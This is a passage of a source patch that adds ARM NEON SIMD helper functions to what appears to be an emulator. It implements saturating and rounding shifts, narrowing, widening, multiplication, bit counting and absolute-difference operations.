means that the rounding constant is 1, + * and the addition would overflow. Return the actual + * result directly. */ + val = 0x4000000000000000LL; + } else { + val++; + val >>= 1; + } + } else { + val = ((uint64_t)val) << shift; + } + return val; +} + +#define NEON_FN(dest, src1, src2) do { \ + int8_t tmp; \ + tmp = (int8_t)src2; \ + if (tmp >= (ssize_t)sizeof(src1) * 8 || \ + tmp < -(ssize_t)sizeof(src1) * 8) { \ + dest = 0; \ + } else if (tmp == -(ssize_t)sizeof(src1) * 8) { \ + dest = src1 >> (-tmp - 1); \ + } else if (tmp < 0) { \ + dest = (src1 + (1 << (-1 - tmp))) >> -tmp; \ + } else { \ + dest = src1 << tmp; \ + }} while (0) +NEON_VOP(rshl_u8, neon_u8, 4) +NEON_VOP(rshl_u16, neon_u16, 2) +#undef NEON_FN + +/* The addition of the rounding constant may overflow, so we use an + * intermediate 64 bit accumulator. */ +uint32_t HELPER(neon_rshl_u32)(uint32_t val, uint32_t shiftop) +{ + uint32_t dest; + int8_t shift = (int8_t)shiftop; + if (shift >= 32 || shift < -32) { + dest = 0; + } else if (shift == -32) { + dest = val >> 31; + } else if (shift < 0) { + uint64_t big_dest = ((uint64_t)val + (1ULL << (-1 - shift))); + dest = big_dest >> -shift; + } else { + dest = val << shift; + } + return dest; +} + +/* Handling addition overflow with 64 bit input values is more + * tricky than with 32 bit values. */ +uint64_t HELPER(neon_rshl_u64)(uint64_t val, uint64_t shiftop) +{ + int8_t shift = (uint8_t)shiftop; + if (shift >= 64 || shift < -64) { + val = 0; + } else if (shift == -64) { + /* Rounding a 1-bit result just preserves that bit. */ + val >>= 63; + } else if (shift < 0) { + val >>= (-shift - 1); + if (val == UINT64_MAX) { + /* In this case, it means that the rounding constant is 1, + * and the addition would overflow. Return the actual + * result directly. */ + val = 0x8000000000000000ULL; + } else { + val++; + val >>= 1; + } + } else { + val <<= shift; + } + return val; +} + +#define NEON_FN(dest, src1, src2) do { \ + int8_t tmp; \ + tmp = (int8_t)src2; \ + if (tmp >= (ssize_t)sizeof(src1) * 8) { \ + if (src1) { \ + SET_QC(); \ + dest = ~0; \ + } else { \ + dest = 0; \ + } \ + } else if (tmp <= -(ssize_t)sizeof(src1) * 8) { \ + dest = 0; \ + } else if (tmp < 0) { \ + dest = src1 >> -tmp; \ + } else { \ + dest = src1 << tmp; \ + if ((dest >> tmp) != src1) { \ + SET_QC(); \ + dest = ~0; \ + } \ + }} while (0) +NEON_VOP_ENV(qshl_u8, neon_u8, 4) +NEON_VOP_ENV(qshl_u16, neon_u16, 2) +NEON_VOP_ENV(qshl_u32, neon_u32, 1) +#undef NEON_FN + +uint64_t HELPER(neon_qshl_u64)(CPUARMState *env, uint64_t val, uint64_t shiftop) +{ + int8_t shift = (int8_t)shiftop; + if (shift >= 64) { + if (val) { + val = ~(uint64_t)0; + SET_QC(); + } + } else if (shift <= -64) { + val = 0; + } else if (shift < 0) { + val >>= -shift; + } else { + uint64_t tmp = val; + val <<= shift; + if ((val >> shift) != tmp) { + SET_QC(); + val = ~(uint64_t)0; + } + } + return val; +} + +#define NEON_FN(dest, src1, src2) do { \ + int8_t tmp; \ + tmp = (int8_t)src2; \ + if (tmp >= (ssize_t)sizeof(src1) * 8) { \ + if (src1) { \ + SET_QC(); \ + dest = (uint32_t)(1U << (sizeof(src1) * 8 - 1)); \ + if (src1 > 0) { \ + dest--; \ + } \ + } else { \ + dest = src1; \ + } \ + } else if (tmp <= -(ssize_t)sizeof(src1) * 8) { \ + dest = src1 >> 31; \ + } else if (tmp < 0) { \ + dest = src1 >> -tmp; \ + } else { \ + dest = (uint32_t)src1 << tmp; \ + if ((dest >> tmp) != src1) { \ + SET_QC(); \ + dest = (uint32_t)(1 << (sizeof(src1) * 8 - 1)); \ + if (src1 > 0) { \ + dest--; \ + } \ + } \ + }} while (0) +NEON_VOP_ENV(qshl_s8, neon_s8, 4) +NEON_VOP_ENV(qshl_s16, neon_s16, 2) +NEON_VOP_ENV(qshl_s32, neon_s32, 1) +#undef NEON_FN + +uint64_t HELPER(neon_qshl_s64)(CPUARMState *env, uint64_t valop, uint64_t shiftop) +{ + int8_t shift = (uint8_t)shiftop; + uint64_t val = valop; + if (shift >= 64) { + if (val) { + SET_QC(); + val = (val >> 63) ^ ~SIGNBIT64; + } + } else if (shift <= -64) { + val >>= 63; + } else if (shift < 0) { + val >>= -shift; + } else { + int64_t tmp = val; + val <<= shift; + if ((val >> shift) != tmp) { + SET_QC(); + val = (tmp >> 63) ^ ~SIGNBIT64; + } + } + return val; +} + +#define NEON_FN(dest, src1, src2) do { \ + if (src1 & (1 << (sizeof(src1) * 8 - 1))) { \ + SET_QC(); \ + dest = 0; \ + } else { \ + int8_t tmp; \ + tmp = (int8_t)src2; \ + if (tmp >= (ssize_t)sizeof(src1) * 8) { \ + if (src1) { \ + SET_QC(); \ + dest = ~0; \ + } else { \ + dest = 0; \ + } \ + } else if (tmp <= -(ssize_t)sizeof(src1) * 8) { \ + dest = 0; \ + } else if (tmp < 0) { \ + dest = src1 >> -tmp; \ + } else { \ + dest = src1 << tmp; \ + if ((dest >> tmp) != src1) { \ + SET_QC(); \ + dest = ~0; \ + } \ + } \ + }} while (0) +NEON_VOP_ENV(qshlu_s8, neon_u8, 4) +NEON_VOP_ENV(qshlu_s16, neon_u16, 2) +#undef NEON_FN + +uint32_t HELPER(neon_qshlu_s32)(CPUARMState *env, uint32_t valop, uint32_t shiftop) +{ + if ((int32_t)valop < 0) { + SET_QC(); + return 0; + } + return helper_neon_qshl_u32(env, valop, shiftop); +} + +uint64_t HELPER(neon_qshlu_s64)(CPUARMState *env, uint64_t valop, uint64_t shiftop) +{ + if ((int64_t)valop < 0) { + SET_QC(); + return 0; + } + return helper_neon_qshl_u64(env, valop, shiftop); +} + +#define NEON_FN(dest, src1, src2) do { \ + int8_t tmp; \ + tmp = (int8_t)src2; \ + if (tmp >= (ssize_t)sizeof(src1) * 8) { \ + if (src1) { \ + SET_QC(); \ + dest = ~0; \ + } else { \ + dest = 0; \ + } \ + } else if (tmp < -(ssize_t)sizeof(src1) * 8) { \ + dest = 0; \ + } else if (tmp == -(ssize_t)sizeof(src1) * 8) { \ + dest = src1 >> (sizeof(src1) * 8 - 1); \ + } else if (tmp < 0) { \ + dest = (src1 + (1 << (-1 - tmp))) >> -tmp; \ + } else { \ + dest = src1 << tmp; \ + if ((dest >> tmp) != src1) { \ + SET_QC(); \ + dest = ~0; \ + } \ + }} while (0) +NEON_VOP_ENV(qrshl_u8, neon_u8, 4) +NEON_VOP_ENV(qrshl_u16, neon_u16, 2) +#undef NEON_FN + +/* The addition of the rounding constant may overflow, so we use an + * intermediate 64 bit accumulator. */ +uint32_t HELPER(neon_qrshl_u32)(CPUARMState *env, uint32_t val, uint32_t shiftop) +{ + uint32_t dest; + int8_t shift = (int8_t)shiftop; + if (shift >= 32) { + if (val) { + SET_QC(); + dest = ~0; + } else { + dest = 0; + } + } else if (shift < -32) { + dest = 0; + } else if (shift == -32) { + dest = val >> 31; + } else if (shift < 0) { + uint64_t big_dest = ((uint64_t)val + (1ULL << (-1 - shift))); + dest = big_dest >> -shift; + } else { + dest = val << shift; + if ((dest >> shift) != val) { + SET_QC(); + dest = ~0; + } + } + return dest; +} + +/* Handling addition overflow with 64 bit input values is more + * tricky than with 32 bit values. */ +uint64_t HELPER(neon_qrshl_u64)(CPUARMState *env, uint64_t val, uint64_t shiftop) +{ + int8_t shift = (int8_t)shiftop; + if (shift >= 64) { + if (val) { + SET_QC(); + val = ~0; + } + } else if (shift < -64) { + val = 0; + } else if (shift == -64) { + val >>= 63; + } else if (shift < 0) { + val >>= (-shift - 1); + if (val == UINT64_MAX) { + /* In this case, it means that the rounding constant is 1, + * and the addition would overflow. Return the actual + * result directly. */ + val = 0x8000000000000000ULL; + } else { + val++; + val >>= 1; + } + } else { \ + uint64_t tmp = val; + val <<= shift; + if ((val >> shift) != tmp) { + SET_QC(); + val = ~0; + } + } + return val; +} + +#define NEON_FN(dest, src1, src2) do { \ + int8_t tmp; \ + tmp = (int8_t)src2; \ + if (tmp >= (ssize_t)sizeof(src1) * 8) { \ + if (src1) { \ + SET_QC(); \ + dest = (uint32_t)(1U << (sizeof(src1) * 8 - 1)); \ + if (src1 > 0) { \ + dest--; \ + } \ + } else { \ + dest = 0; \ + } \ + } else if (tmp <= -(ssize_t)sizeof(src1) * 8) { \ + dest = 0; \ + } else if (tmp < 0) { \ + dest = (src1 + (1 << (-1 - tmp))) >> -tmp; \ + } else { \ + dest = ((uint64_t)src1) << tmp; \ + if ((dest >> tmp) != src1) { \ + SET_QC(); \ + dest = (uint32_t)(1U << (sizeof(src1) * 8 - 1)); \ + if (src1 > 0) { \ + dest--; \ + } \ + } \ + }} while (0) +NEON_VOP_ENV(qrshl_s8, neon_s8, 4) +NEON_VOP_ENV(qrshl_s16, neon_s16, 2) +#undef NEON_FN + +/* The addition of the rounding constant may overflow, so we use an + * intermediate 64 bit accumulator. */ +uint32_t HELPER(neon_qrshl_s32)(CPUARMState *env, uint32_t valop, uint32_t shiftop) +{ + int32_t dest; + int32_t val = (int32_t)valop; + int8_t shift = (int8_t)shiftop; + if (shift >= 32) { + if (val) { + SET_QC(); + dest = (val >> 31) ^ ~SIGNBIT; + } else { + dest = 0; + } + } else if (shift <= -32) { + dest = 0; + } else if (shift < 0) { + int64_t big_dest = ((int64_t)val + (1ULL << (-1 - shift))); + dest = big_dest >> -shift; + } else { + dest = val << shift; + if ((dest >> shift) != val) { + SET_QC(); + dest = (val >> 31) ^ ~SIGNBIT; + } + } + return dest; +} + +/* Handling addition overflow with 64 bit input values is more + * tricky than with 32 bit values. */ +uint64_t HELPER(neon_qrshl_s64)(CPUARMState *env, uint64_t valop, uint64_t shiftop) +{ + int8_t shift = (uint8_t)shiftop; + int64_t val = valop; + + if (shift >= 64) { + if (val) { + SET_QC(); + val = (val >> 63) ^ ~SIGNBIT64; + } + } else if (shift <= -64) { + val = 0; + } else if (shift < 0) { + val >>= (-shift - 1); + if (val == INT64_MAX) { + /* In this case, it means that the rounding constant is 1, + * and the addition would overflow. Return the actual + * result directly. */ + val = 0x4000000000000000ULL; + } else { + val++; + val >>= 1; + } + } else { + int64_t tmp = val; + val = (uint64_t)val << (shift & 0x3f); + if ((val >> shift) != tmp) { + SET_QC(); + val = (tmp >> 63) ^ ~SIGNBIT64; + } + } + return val; +} + +uint32_t HELPER(neon_add_u8)(uint32_t a, uint32_t b) +{ + uint32_t mask; + mask = (a ^ b) & 0x80808080u; + a &= ~0x80808080u; + b &= ~0x80808080u; + return (a + b) ^ mask; +} + +uint32_t HELPER(neon_add_u16)(uint32_t a, uint32_t b) +{ + uint32_t mask; + mask = (a ^ b) & 0x80008000u; + a &= ~0x80008000u; + b &= ~0x80008000u; + return (a + b) ^ mask; +} + +#define NEON_FN(dest, src1, src2) dest = src1 + src2 +NEON_POP(padd_u8, neon_u8, 4) +NEON_POP(padd_u16, neon_u16, 2) +#undef NEON_FN + +#define NEON_FN(dest, src1, src2) dest = src1 - src2 +NEON_VOP(sub_u8, neon_u8, 4) +NEON_VOP(sub_u16, neon_u16, 2) +#undef NEON_FN + +#define NEON_FN(dest, src1, src2) dest = (int64_t)src1 * src2 +NEON_VOP(mul_u8, neon_u8, 4) +NEON_VOP(mul_u16, neon_u16, 2) +#undef NEON_FN + +/* Polynomial multiplication is like integer multiplication except the + partial products are XORed, not added. */ +uint32_t HELPER(neon_mul_p8)(uint32_t op1, uint32_t op2) +{ + uint32_t mask; + uint32_t result; + result = 0; + while (op1) { + mask = 0; + if (op1 & 1) + mask |= 0xff; + if (op1 & (1 << 8)) + mask |= (0xff << 8); + if (op1 & (1 << 16)) + mask |= (0xff << 16); + if (op1 & (1 << 24)) + mask |= (0xff << 24); + result ^= op2 & mask; + op1 = (op1 >> 1) & 0x7f7f7f7f; + op2 = (op2 << 1) & 0xfefefefe; + } + return result; +} + +uint64_t HELPER(neon_mull_p8)(uint32_t op1, uint32_t op2) +{ + uint64_t result = 0; + uint64_t mask; + uint64_t op2ex = op2; + op2ex = (op2ex & 0xff) | + ((op2ex & 0xff00) << 8) | + ((op2ex & 0xff0000) << 16) | + ((op2ex & 0xff000000) << 24); + while (op1) { + mask = 0; + if (op1 & 1) { + mask |= 0xffff; + } + if (op1 & (1 << 8)) { + mask |= (0xffffU << 16); + } + if (op1 & (1 << 16)) { + mask |= (0xffffULL << 32); + } + if (op1 & (1 << 24)) { + mask |= (0xffffULL << 48); + } + result ^= op2ex & mask; + op1 = (op1 >> 1) & 0x7f7f7f7f; + op2ex <<= 1; + } + return result; +} + +#define NEON_FN(dest, src1, src2) dest = (src1 & src2) ? -1 : 0 +NEON_VOP(tst_u8, neon_u8, 4) +NEON_VOP(tst_u16, neon_u16, 2) +NEON_VOP(tst_u32, neon_u32, 1) +#undef NEON_FN + +#define NEON_FN(dest, src1, src2) dest = (src1 == src2) ? -1 : 0 +NEON_VOP(ceq_u8, neon_u8, 4) +NEON_VOP(ceq_u16, neon_u16, 2) +NEON_VOP(ceq_u32, neon_u32, 1) +#undef NEON_FN + +#define NEON_FN(dest, src, dummy) dest = (src < 0) ? -src : src +NEON_VOP1(abs_s8, neon_s8, 4) +NEON_VOP1(abs_s16, neon_s16, 2) +#undef NEON_FN + +/* Count Leading Sign/Zero Bits. */ +static inline int do_clz8(uint8_t x) +{ + int n; + for (n = 8; x; n--) + x >>= 1; + return n; +} + +static inline int do_clz16(uint16_t x) +{ + int n; + for (n = 16; x; n--) + x >>= 1; + return n; +} + +#define NEON_FN(dest, src, dummy) dest = do_clz8(src) +NEON_VOP1(clz_u8, neon_u8, 4) +#undef NEON_FN + +#define NEON_FN(dest, src, dummy) dest = do_clz16(src) +NEON_VOP1(clz_u16, neon_u16, 2) +#undef NEON_FN + +#define NEON_FN(dest, src, dummy) dest = do_clz8((src < 0) ? ~src : src) - 1 +NEON_VOP1(cls_s8, neon_s8, 4) +#undef NEON_FN + +#define NEON_FN(dest, src, dummy) dest = do_clz16((src < 0) ? ~src : src) - 1 +NEON_VOP1(cls_s16, neon_s16, 2) +#undef NEON_FN + +uint32_t HELPER(neon_cls_s32)(uint32_t x) +{ + int count; + if ((int32_t)x < 0) + x = ~x; + for (count = 32; x; count--) + x = x >> 1; + return count - 1; +} + +/* Bit count. */ +uint32_t HELPER(neon_cnt_u8)(uint32_t x) +{ + x = (x & 0x55555555) + ((x >> 1) & 0x55555555); + x = (x & 0x33333333) + ((x >> 2) & 0x33333333); + x = (x & 0x0f0f0f0f) + ((x >> 4) & 0x0f0f0f0f); + return x; +} + +/* Reverse bits in each 8 bit word */ +uint32_t HELPER(neon_rbit_u8)(uint32_t x) +{ + x = ((x & 0xf0f0f0f0) >> 4) + | ((x & 0x0f0f0f0f) << 4); + x = ((x & 0x88888888) >> 3) + | ((x & 0x44444444) >> 1) + | ((x & 0x22222222) << 1) + | ((x & 0x11111111) << 3); + return x; +} + +#define NEON_QDMULH16(dest, src1, src2, round) do { \ + uint32_t tmp = (int32_t)(int16_t) src1 * (int16_t) src2; \ + if ((tmp ^ (tmp << 1)) & SIGNBIT) { \ + SET_QC(); \ + tmp = (tmp >> 31) ^ ~SIGNBIT; \ + } else { \ + tmp <<= 1; \ + } \ + if (round) { \ + int32_t old = tmp; \ + tmp += 1 << 15; \ + if ((int32_t)tmp < old) { \ + SET_QC(); \ + tmp = SIGNBIT - 1; \ + } \ + } \ + dest = tmp >> 16; \ + } while(0) +#define NEON_FN(dest, src1, src2) NEON_QDMULH16(dest, src1, src2, 0) +NEON_VOP_ENV(qdmulh_s16, neon_s16, 2) +#undef NEON_FN +#define NEON_FN(dest, src1, src2) NEON_QDMULH16(dest, src1, src2, 1) +NEON_VOP_ENV(qrdmulh_s16, neon_s16, 2) +#undef NEON_FN +#undef NEON_QDMULH16 + +#define NEON_QDMULH32(dest, src1, src2, round) do { \ + uint64_t tmp = (int64_t)(int32_t) src1 * (int32_t) src2; \ + if ((tmp ^ (tmp << 1)) & SIGNBIT64) { \ + SET_QC(); \ + tmp = (tmp >> 63) ^ ~SIGNBIT64; \ + } else { \ + tmp <<= 1; \ + } \ + if (round) { \ + int64_t old = tmp; \ + tmp += (int64_t)1 << 31; \ + if ((int64_t)tmp < old) { \ + SET_QC(); \ + tmp = SIGNBIT64 - 1; \ + } \ + } \ + dest = tmp >> 32; \ + } while(0) +#define NEON_FN(dest, src1, src2) NEON_QDMULH32(dest, src1, src2, 0) +NEON_VOP_ENV(qdmulh_s32, neon_s32, 1) +#undef NEON_FN +#define NEON_FN(dest, src1, src2) NEON_QDMULH32(dest, src1, src2, 1) +NEON_VOP_ENV(qrdmulh_s32, neon_s32, 1) +#undef NEON_FN +#undef NEON_QDMULH32 + +uint32_t HELPER(neon_narrow_u8)(uint64_t x) +{ + return (x & 0xffu) | ((x >> 8) & 0xff00u) | ((x >> 16) & 0xff0000u) + | ((x >> 24) & 0xff000000u); +} + +uint32_t HELPER(neon_narrow_u16)(uint64_t x) +{ + return (x & 0xffffu) | ((x >> 16) & 0xffff0000u); +} + +uint32_t HELPER(neon_narrow_high_u8)(uint64_t x) +{ + return ((x >> 8) & 0xff) | ((x >> 16) & 0xff00) + | ((x >> 24) & 0xff0000) | ((x >> 32) & 0xff000000); +} + +uint32_t HELPER(neon_narrow_high_u16)(uint64_t x) +{ + return ((x >> 16) & 0xffff) | ((x >> 32) & 0xffff0000); +} + +uint32_t HELPER(neon_narrow_round_high_u8)(uint64_t x) +{ + x &= 0xff80ff80ff80ff80ull; + x += 0x0080008000800080ull; + return ((x >> 8) & 0xff) | ((x >> 16) & 0xff00) + | ((x >> 24) & 0xff0000) | ((x >> 32) & 0xff000000); +} + +uint32_t HELPER(neon_narrow_round_high_u16)(uint64_t x) +{ + x &= 0xffff8000ffff8000ull; + x += 0x0000800000008000ull; + return ((x >> 16) & 0xffff) | ((x >> 32) & 0xffff0000); +} + +uint32_t HELPER(neon_unarrow_sat8)(CPUARMState *env, uint64_t x) +{ + uint16_t s; + uint8_t d; + uint32_t res = 0; +#define SAT8(n) \ + s = x >> n; \ + if (s & 0x8000) { \ + SET_QC(); \ + } else { \ + if (s > 0xff) { \ + d = 0xff; \ + SET_QC(); \ + } else { \ + d = s; \ + } \ + res |= (uint32_t)d << (n / 2); \ + } + + SAT8(0); + SAT8(16); + SAT8(32); + SAT8(48); +#undef SAT8 + return res; +} + +uint32_t HELPER(neon_narrow_sat_u8)(CPUARMState *env, uint64_t x) +{ + uint16_t s; + uint8_t d; + uint32_t res = 0; +#define SAT8(n) \ + s = x >> n; \ + if (s > 0xff) { \ + d = 0xff; \ + SET_QC(); \ + } else { \ + d = s; \ + } \ + res |= (uint32_t)d << (n / 2); + + SAT8(0); + SAT8(16); + SAT8(32); + SAT8(48); +#undef SAT8 + return res; +} + +uint32_t HELPER(neon_narrow_sat_s8)(CPUARMState *env, uint64_t x) +{ + int16_t s; + uint8_t d; + uint32_t res = 0; +#define SAT8(n) \ + s = x >> n; \ + if (s != (int8_t)s) { \ + d = (s >> 15) ^ 0x7f; \ + SET_QC(); \ + } else { \ + d = s; \ + } \ + res |= (uint32_t)d << (n / 2); + + SAT8(0); + SAT8(16); + SAT8(32); + SAT8(48); +#undef SAT8 + return res; +} + +uint32_t HELPER(neon_unarrow_sat16)(CPUARMState *env, uint64_t x) +{ + uint32_t high; + uint32_t low; + low = x; + if (low & 0x80000000) { + low = 0; + SET_QC(); + } else if (low > 0xffff) { + low = 0xffff; + SET_QC(); + } + high = x >> 32; + if (high & 0x80000000) { + high = 0; + SET_QC(); + } else if (high > 0xffff) { + high = 0xffff; + SET_QC(); + } + return low | (high << 16); +} + +uint32_t HELPER(neon_narrow_sat_u16)(CPUARMState *env, uint64_t x) +{ + uint32_t high; + uint32_t low; + low = x; + if (low > 0xffff) { + low = 0xffff; + SET_QC(); + } + high = x >> 32; + if (high > 0xffff) { + high = 0xffff; + SET_QC(); + } + return low | (high << 16); +} + +uint32_t HELPER(neon_narrow_sat_s16)(CPUARMState *env, uint64_t x) +{ + int32_t low; + int32_t high; + low = x; + if (low != (int16_t)low) { + low = (low >> 31) ^ 0x7fff; + SET_QC(); + } + high = x >> 32; + if (high != (int16_t)high) { + high = (high >> 31) ^ 0x7fff; + SET_QC(); + } + return (uint16_t)low | (high << 16); +} + +uint32_t HELPER(neon_unarrow_sat32)(CPUARMState *env, uint64_t x) +{ + if (x & 0x8000000000000000ull) { + SET_QC(); + return 0; + } + if (x > 0xffffffffu) { + SET_QC(); + return 0xffffffffu; + } + return x; +} + +uint32_t HELPER(neon_narrow_sat_u32)(CPUARMState *env, uint64_t x) +{ + if (x > 0xffffffffu) { + SET_QC(); + return 0xffffffffu; + } + return x; +} + +uint32_t HELPER(neon_narrow_sat_s32)(CPUARMState *env, uint64_t x) +{ + if ((int64_t)x != (int32_t)x) { + SET_QC(); + return ((int64_t)x >> 63) ^ 0x7fffffff; + } + return x; +} + +uint64_t HELPER(neon_widen_u8)(uint32_t x) +{ + uint64_t tmp; + uint64_t ret; + ret = (uint8_t)x; + tmp = (uint8_t)(x >> 8); + ret |= tmp << 16; + tmp = (uint8_t)(x >> 16); + ret |= tmp << 32; + tmp = (uint8_t)(x >> 24); + ret |= tmp << 48; + return ret; +} + +uint64_t HELPER(neon_widen_s8)(uint32_t x) +{ + uint64_t tmp; + uint64_t ret; + ret = (uint16_t)(int8_t)x; + tmp = (uint16_t)(int8_t)(x >> 8); + ret |= tmp << 16; + tmp = (uint16_t)(int8_t)(x >> 16); + ret |= tmp << 32; + tmp = (uint16_t)(int8_t)(x >> 24); + ret |= tmp << 48; + return ret; +} + +uint64_t HELPER(neon_widen_u16)(uint32_t x) +{ + uint64_t high = (uint16_t)(x >> 16); + return ((uint16_t)x) | (high << 32); +} + +uint64_t HELPER(neon_widen_s16)(uint32_t x) +{ + uint64_t high = (int16_t)(x >> 16); + return ((uint32_t)(int16_t)x) | (high << 32); +} + +uint64_t HELPER(neon_addl_u16)(uint64_t a, uint64_t b) +{ + uint64_t mask; + mask = (a ^ b) & 0x8000800080008000ull; + a &= ~0x8000800080008000ull; + b &= ~0x8000800080008000ull; + return (a + b) ^ mask; +} + +uint64_t HELPER(neon_addl_u32)(uint64_t a, uint64_t b) +{ + uint64_t mask; + mask = (a ^ b) & 0x8000000080000000ull; + a &= ~0x8000000080000000ull; + b &= ~0x8000000080000000ull; + return (a + b) ^ mask; +} + +uint64_t HELPER(neon_paddl_u16)(uint64_t a, uint64_t b) +{ + uint64_t tmp; + uint64_t tmp2; + + tmp = a & 0x0000ffff0000ffffull; + tmp += (a >> 16) & 0x0000ffff0000ffffull; + tmp2 = b & 0xffff0000ffff0000ull; + tmp2 += (b << 16) & 0xffff0000ffff0000ull; + return ( tmp & 0xffff) + | ((tmp >> 16) & 0xffff0000ull) + | ((tmp2 << 16) & 0xffff00000000ull) + | ( tmp2 & 0xffff000000000000ull); +} + +uint64_t HELPER(neon_paddl_u32)(uint64_t a, uint64_t b) +{ + uint32_t low = a + (a >> 32); + uint32_t high = b + (b >> 32); + return low + ((uint64_t)high << 32); +} + +uint64_t HELPER(neon_subl_u16)(uint64_t a, uint64_t b) +{ + uint64_t mask; + mask = (a ^ ~b) & 0x8000800080008000ull; + a |= 0x8000800080008000ull; + b &= ~0x8000800080008000ull; + return (a - b) ^ mask; +} + +uint64_t HELPER(neon_subl_u32)(uint64_t a, uint64_t b) +{ + uint64_t mask; + mask = (a ^ ~b) & 0x8000000080000000ull; + a |= 0x8000000080000000ull; + b &= ~0x8000000080000000ull; + return (a - b) ^ mask; +} + +uint64_t HELPER(neon_addl_saturate_s32)(CPUARMState *env, uint64_t a, uint64_t b) +{ + uint32_t x, y; + uint32_t low, high; + + x = a; + y = b; + low = x + y; + if (((low ^ x) & SIGNBIT) && !((x ^ y) & SIGNBIT)) { + SET_QC(); + low = ((int32_t)x >> 31) ^ ~SIGNBIT; + } + x = a >> 32; + y = b >> 32; + high = x + y; + if (((high ^ x) & SIGNBIT) && !((x ^ y) & SIGNBIT)) { + SET_QC(); + high = ((int32_t)x >> 31) ^ ~SIGNBIT; + } + return low | ((uint64_t)high << 32); +} + +uint64_t HELPER(neon_addl_saturate_s64)(CPUARMState *env, uint64_t a, uint64_t b) +{ + uint64_t result; + + result = a + b; + if (((result ^ a) & SIGNBIT64) && !((a ^ b) & SIGNBIT64)) { + SET_QC(); + result = ((int64_t)a >> 63) ^ ~SIGNBIT64; + } + return result; +} + +/* We have to do the arithmetic in a larger type than + * the input type, because for example with a signed 32 bit + * op the absolute difference can overflow a signed 32 bit value. + */ +#define DO_ABD(dest, x, y, intype, arithtype) do { \ + arithtype tmp_x = (intype)(x); \ + arithtype tmp_y = (intype)(y); \ + dest = ((tmp_x > tmp_y) ? tmp_x - tmp_y : tmp_y - tmp_x); \ + } while(0) + +uint64_t HELPER(neon_abdl_u16)(uint32_t a, uint32_t b) +{ + uint64_t tmp; + uint64_t result; + DO_ABD(result, a, b, uint8_t, uint32_t); + DO_ABD(tmp, a >> 8, b >> 8, uint8_t, uint32_t); + result |= tmp << 16; + DO_ABD(tmp, a >> 16, b >> 16, uint8_t, uint32_t); + result |= tmp << 32; + DO_ABD(tmp, a >> 24, b >> 24, uint8_t, uint32_t); + result |= tmp << 48; + return result; +} + +uint64_t HELPER(neon_abdl_s16)(uint32_t a, uint32_t b) +{ + uint64_t tmp; + uint64_t result; + DO_ABD(result, a, b, int8_t, int32_t); + DO_ABD(tmp, a >> 8, b >> 8, int8_t, int32_t); + result |= tmp << 16; + DO_ABD(tmp, a >> 16, b >> 16, int8_t, int32_t); + result |= tmp << 32; + DO_ABD(tmp, a >> 24, b >> 24, int8_t, int32_t); + result |= tmp << 48; + return result; +} + +uint64_t HELPER(neon_abdl_u32)(uint32_t a, uint32_t b) +{ + uint64_t tmp; + uint64_t result; + DO_ABD(result, a, b, uint16_t, uint32_t); + DO_ABD(tmp, a >> 16, b >> 16, uint16_t, uint32_t); + return result | (tmp << 32); +} + +uint64_t HELPER(neon_abdl_s32)(uint32_t a, uint32_t b) +{ + uint64_t tmp; + uint64_t result; + DO_ABD(result, a, b, int16_t, int32_t); + DO_ABD(tmp, a >> 16, b >> 16, int16_t, int32_t); + return result | (tmp << 32); +} + +uint64_t HELPER(neon_abdl_u64)(uint32_t a, uint32_t b) +{ + uint64_t result; + DO_ABD(result, a, b, uint32_t, uint64_t); + return result; +} + +uint64_t HELPER(neon_abdl_s64)(uint32_t a, uint32_t b) +{ + uint64_t result; + DO_ABD(result, a, b, int32_t, int64_t); + return result; +} +#undef DO_ABD + +/* Widening multiply. Named type is the source type. */ +#define DO_MULL(dest, x, y, type1, type2) do { \ + type1 tmp_x = x; \ + type1 tmp_y = y; \ + dest = (type2)((int64_t)tmp_x * (int64_t)tmp_y); \ + } while(0) + +uint64_t HELPER(neon_mull_u8)(uint32_t a, uint32_t b) +{ + uint64_t tmp; + uint64_t result; + + DO_MULL(result, a, b, uint8_t, uint16_t); + DO_MULL(tmp, a >> 8, b >> 8, uint8_t, uint16_t); + result |= tmp << 16; + DO_MULL(tmp, a >> 16, b >> 16, uint8_t, uint16_t); + result |= tmp << 32; + DO_MULL(tmp, a >> 24, b >> 24, uint8_t, uint16_t); + result |= tmp << 48; + return result; +} + +uint64_t HELPER(neon_mull_s8)(uint32_t a, uint32_t b) +{ + uint64_t tmp; + uint64_t result; + + DO_MULL(result, a, b, int8_t, uint16_t); + DO_MULL(tmp, a >> 8, b >> 8, int8_t, uint16_t); + result |= tmp << 16; + DO_MULL(tmp, a >> 16, b >> 16, int8_t, uint16_t); + result |= tmp << 32; + DO_MULL(tmp, a >> 24, b >> 24, int8_t, uint16_t); + result |= tmp << 48; + return result; +} + +uint64_t HELPER(neon_mull_u16)(uint32_t a, uint32_t b) +{ + uint64_t tmp; + uint64_t result; + + DO_MULL(result, a, b, uint16_t, uint32_t); + DO_MULL(tmp, a >> 16, b >> 16, uint16_t, uint32_t); + return result | (tmp << 32); +} + +uint64_t HELPER(neon_mull_s16)(uint32_t a, uint32_t b) +{ + uint64_t tmp; + uint64_t result; + + DO_MULL(result, a, b, int16_t, uint32_t); + DO_MULL(tmp, a >> 16, b >> 16, int16_t, uint32_t); + return result | (tmp << 32); +} + +uint64_t HELPER(neon_negl_u16)(uint64_t x) +{ + uint16_t tmp; + uint64_t result; + result = (uint16_t)(0-x); + tmp = 0-(x >> 16); + result |= (uint64_t)tmp << 16; + tmp = 0-(x >> 32); + result |= (uint64_t)tmp << 32; + tmp = 0-(x >> 48); + result |= (uint64_t)tmp << 48; + return result; +} + +uint64_t HELPER(neon_negl_u32)(uint64_t x) +{ + uint32_t low = 0-x; + uint32_t high = 0-(x >> 32); + return low | ((uint64_t)high << 32); +} + +/* Saturating sign manipulation. */ +/* ??? Make these use NEON_VOP1 */ +#define DO_QABS8(x) do { \ + if (x == (int8_t)0x80) { \ + x = 0x7f; \ + SET_QC(); \ + } else if (x < 0) { \ + x = -x; \ + }} while (0) +uint32_t HELPER(neon_qabs_s8)(CPUARMState *env, uint32_t x) +{ + neon_s8 vec; + NEON_UNPACK(neon_s8, vec, x); + DO_QABS8(vec.v1); + DO_QABS8(vec.v2); + DO_QABS8(vec.v3); + DO_QABS8(vec.v4); + NEON_PACK(neon_s8, x, vec); + return x; +} +#undef DO_QABS8 + +#define DO_QNEG8(x) do { \ + if (x == (int8_t)0x80) { \ + x = 0x7f; \ + SET_QC(); \ + } else { \ + x = -x; \ + }} while (0) +uint32_t HELPER(neon_qneg_s8)(CPUARMState *env, uint32_t x) +{ + neon_s8 vec; + NEON_UNPACK(neon_s8, vec, x); + DO_QNEG8(vec.v1); + DO_QNEG8(vec.v2); + 